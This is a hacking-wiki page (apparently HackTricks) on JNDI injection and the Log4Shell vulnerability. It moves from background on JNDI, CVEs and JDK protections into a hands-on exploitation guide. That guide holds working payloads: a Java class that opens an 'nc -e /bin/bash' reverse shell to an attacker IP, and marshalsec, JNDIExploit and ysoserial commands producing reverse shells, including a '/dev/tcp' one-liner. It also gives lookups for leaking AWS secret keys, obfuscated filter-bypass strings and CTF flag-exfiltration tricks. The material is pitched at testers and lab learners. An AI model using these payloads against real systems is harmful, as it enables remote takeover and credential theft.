JNDI - Java Naming and Directory Interface & Log4Shell

Learn & practice AWS Hacking: Learn & practice GCP Hacking:

Support HackTricks

Check the !
Join the 💬 or the or follow us on Twitter 🐦 .
Share hacking tricks by submitting PRs to the and github repos.

Basic Information

JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.

JNDI Naming Reference

Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:

Reference Addresses: Specifies an object's location (e.g., rmi://server/ref), allowing direct retrieval from the specified address.
Remote Factory: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.

However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:

RMI: java.rmi.server.useCodeabseOnly = true by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to true, remote code execution is possible without a Security Manager's oversight.
CORBA: Doesn't have a specific property, but the Security Manager is always active.

However, the Naming Manager, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.

Examples of exploitable URLs include:

rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar

Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.

JNDI Example

Even if you have set a PROVIDER_URL, you can indicate a different one in a lookup and it will be accessed: ctx.lookup("<attacker-controlled-url>") and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.

CORBA Overview

CORBA (Common Object Request Broker Architecture) employs an Interoperable Object Reference (IOR) to uniquely identify remote objects. This reference includes essential information like:

Type ID: Unique identifier for an interface.
Codebase: URL for obtaining the stub class.

Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:

Installation of a Security Manager.
Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
- Socket permission, e.g., permissions java.net.SocketPermission "*:1098-1099", "connect";.
- File read permissions, either universally (permission java.io.FilePermission "<<ALL FILES>>", "read";) or for specific directories where malicious files might be placed.

However, some vendor policies might be lenient and allow these connections by default.

RMI Context

For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.

LDAP

First of all, wee need to distinguish between a Search and a Lookup. A search will use an URL like ldap://localhost:389/o=JNDITutorial to find the JNDITutorial object from an LDAP server and retreive its attributes. A lookup is meant for naming services as we want to get whatever is bound to a name.

If the LDAP search was invoked with SearchControls.setReturningObjFlag() with true, then the returned object will be reconstructed.

Therefore, there are several ways to attack these options. An attacker may poison LDAP records introducing payloads on them that will be executed in the systems that gather them (very useful to compromise tens of machines if you have access to the LDAP server). Another way to exploit this would be to perform a MitM attack in a LDAP search for example.

In case you can make an app resolve a JNDI LDAP URL, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).

Deserialization exploit

The exploit is serialized and will be deserialized. In case trustURLCodebase is true, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.

JNDI Reference exploit

It's easier to attack this LDAP using JavaFactory references:

Log4Shell Vulnerability

With a : present in the key, as in ${jndi:ldap://example.com/a} there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.

Therefore, the only thing needed to get RCE a vulnerable version of Log4j processing information controlled by the user. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is not used to log only HTTP information but any input and data the developer indicated.

Affecting Log4j 1.x versions in non-default configurations using JMSAppender, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to log4j-core 2.17.0 is recommended.

This vulnerability affects the Logback logging framework, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.

CVE-2021-45105 [High]

Log4Shell Exploitation

Discovery

This vulnerability is very easy to discover if unprotected because it will send at least a DNS request to the address you indicate in your payload. Therefore, payloads like:

${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (using Burp Suite)

Note that even if a DNS request is received that doesn't mean the application is exploitable (or even vulnerable), you will need to try to exploit it.

Remember that to exploit version 2.15 you need to add the localhost check bypass: ${jndi:ldap://127.0.0.1#...}

Local Discovery

Search for local vulnerable versions of the library with:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verification

Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested. This can be very useful for 2 things:

To verify the vulnerability
To exfiltrate information abusing the vulnerability

For example you could request something like: or like ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} and if a DNS request is received with the value of the env variable, you know the application is vulnerable.

Other information you could try to leak:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Information

Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of com.sun.jndi.ldap.object.trustURLCodebase, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are not protected against the deserialization attack vector.

For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a trusted gadget within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.

RCE - Marshalsec with custom payload

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

To prompt the target to load a reverse shell code, craft a Java file named Exploit.java with the content below:

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile the Java file into a class file using: javac Exploit.java -source 8 -target 8. Next, initiate a HTTP server in the directory containing the class file with: python3 -m http.server. Ensure the marshalsec LDAP server references this HTTP server.

Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Note: This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.

RCE - JNDIExploit

Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.

Then, you can download the JNDIExploit jar file and execute it with:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

After reading the code just a couple of minutes, in com.feihong.ldap.LdapServer and com.feihong.ldap.HTTPServer you can see how the LDAP and HTTP servers are created. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit. In com.feihong.ldap.gadgets you can find some specific gadgets that can be used to excute the desired action (potentially execute arbitrary code). And in com.feihong.ldap.template you can see the different template classes that will generate the exploits.

You can see all the available exploits with java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Some useful ones are:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

So, in our example, we already have that docker vulnerable app running. To attack it:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

When sending the attacks you will see some output in the terminal where you executed JNDIExploit-1.2-SNAPSHOT.jar.

Remember to check java -jar JNDIExploit-1.2-SNAPSHOT.jar -u for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.

RCE - JNDI-Exploit-Kit

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

This attack using a custom generated java object will work in labs like the THM solar room. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code.

RCE - JNDI-Injection-Exploit-Plus

RCE - ysoserial & JNDI-Exploit-Kit

This option is really useful to attack Java versions configured to only trust specified classes and not everyone. Therefore, ysoserial will be used to generate serializations of trusted classes that can be used as gadgets to execute arbitrary code (the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work).

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a reverse shell just sending to a vulnerable version of log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatic Scanners

Labs to test

Post-Log4Shell Exploitation

From version 2.16.0 (for Java 8), the message lookups feature has been completely removed. Lookups in configuration still work. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.

From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), only lookup strings in configuration are expanded recursively; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.

This means that by default you can forget using any jndi exploit. Moreover, to perform recursive lookups you need to have them configure.

For example, in that CTF this was configured in the file log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
    <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
    </PatternLayout>
</Console>

Env Lookups

Exfiltration in Exceptions

In the CTF, you couldn't access the stderr of the java application using log4J, but Log4J exceptions are sent to stdout, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: ${java:${env:FLAG}}. This works because ${java:CTF{blahblah}} doesn't exist and an exception with the value of the flag will be shown:

Conversion Patterns Exceptions

This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.

Conversion Patterns Regexes

However, it's possible to use some conversion patterns that supports regexes to exfiltrate information from a lookup by using regexes and abusing binary search or time based behaviours.

Binary search via exception messages

The conversion pattern %replace can be use to replace content from a string even using regexes. It works like this: replace{pattern}{regex}{substitution} Abusing this behaviour you could make replace trigger an exception if the regex matched anything inside the string (and no exception if it wasn't found) like this:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

Time based

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
If the flag starts with flagGuess, the whole flag is replaced with 29 #-s (I used this character because it would likely not be part of the flag). Each of the resulting 29 #-s is then replaced by 54 #-s. This process is repeated 6 times, leading to a total of 29*54*54^6* =`` ``96816014208 #-s!
Replacing so many #-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with flagGuess, we will receive a non-500 status code)

References

Support HackTricks

PreviousPython Yaml Deserialization NextRuby Class Pollution

Last updated 7 months ago

Basic Information

JNDI Naming Reference

JNDI Example

CORBA Overview

RMI Context

LDAP

Deserialization exploit

JNDI Reference exploit

Log4Shell Vulnerability

Overview of Log4Shell-Related CVEs

CVE-2021-45105 [High]

Log4Shell Exploitation

Discovery

Local Discovery

Verification

RCE Information

RCE - Marshalsec with custom payload

RCE - JNDIExploit

RCE - JNDI-Exploit-Kit

RCE - JNDI-Injection-Exploit-Plus

RCE - ysoserial & JNDI-Exploit-Kit

Bypasses

Automatic Scanners

Labs to test

Post-Log4Shell Exploitation

Env Lookups

Exfiltration in Exceptions

Conversion Patterns Exceptions

Conversion Patterns Regexes

References

Basic Information

JNDI Naming Reference

JNDI Example

CORBA Overview

RMI Context

LDAP

Deserialization exploit

JNDI Reference exploit

Log4Shell Vulnerability

Overview of Log4Shell-Related CVEs

[Critical]

[Critical]

[High]

[Moderate]

CVE-2021-45105 [High]

Log4Shell Exploitation

Discovery

Local Discovery

Verification

RCE Information

RCE - Marshalsec with custom payload

RCE - JNDIExploit

RCE - JNDI-Exploit-Kit

RCE - JNDI-Injection-Exploit-Plus

RCE - ysoserial & JNDI-Exploit-Kit

Bypasses

Automatic Scanners

Labs to test

Post-Log4Shell Exploitation

Env Lookups

Exfiltration in Exceptions

Conversion Patterns Exceptions

Conversion Patterns Regexes

References

[Critical]

[Critical]

[High]

[Moderate]